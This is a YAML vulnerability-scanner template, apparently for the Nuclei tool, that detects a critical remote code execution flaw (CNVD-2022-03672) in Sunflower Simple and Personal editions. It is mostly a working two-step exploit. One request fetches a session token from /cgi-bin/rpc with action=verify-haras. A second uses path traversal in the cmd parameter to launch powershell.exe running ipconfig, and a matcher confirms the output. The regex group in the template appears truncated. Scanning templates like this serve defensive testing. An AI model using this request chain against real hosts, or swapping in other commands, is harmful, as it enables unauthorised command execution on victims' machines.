43 lines
1018 B
YAML
43 lines
1018 B
YAML
|
id: CNVD-2022-03672
|
||
|
|
||
|
info:
|
||
|
name: Sunflower Simple and Personal edition RCE
|
||
|
author: daffainfo
|
||
|
severity: critical
|
||
|
reference:
|
||
|
- https://www.cnvd.org.cn/flaw/show/CNVD-2022-10270
|
||
|
- https://www.cnvd.org.cn/flaw/show/CNVD-2022-03672
|
||
|
- https://www.1024sou.com/article/741374.html
|
||
|
- https://copyfuture.com/blogs-details/202202192249158884
|
||
|
tags: sunflower,cnvd
|
||
|
|
||
|
requests:
|
||
|
- raw:
|
||
|
- |
|
||
|
POST /cgi-bin/rpc HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
|
||
|
action=verify-haras
|
||
|
|
||
|
- raw:
|
||
|
- |
|
||
|
GET check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe+ipconfig HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
Cookie: CID={{cid}}
|
||
|
|
||
|
- type: regex
|
||
|
regex:
|
||
|
- '"verify_string":"(?.*)"'
|
||
|
internal: true
|
||
|
name: cid
|
||
|
group: 1
|
||
|
|
||
|
req-condition: true
|
||
|
matchers:
|
||
|
- type: dsl
|
||
|
dsl:
|
||
|
- "status_code_1==200"
|
||
|
- "status_code_2==200"
|
||
|
- "contains(body_2, 'Windows IP')"
|
||
|
condition: and
|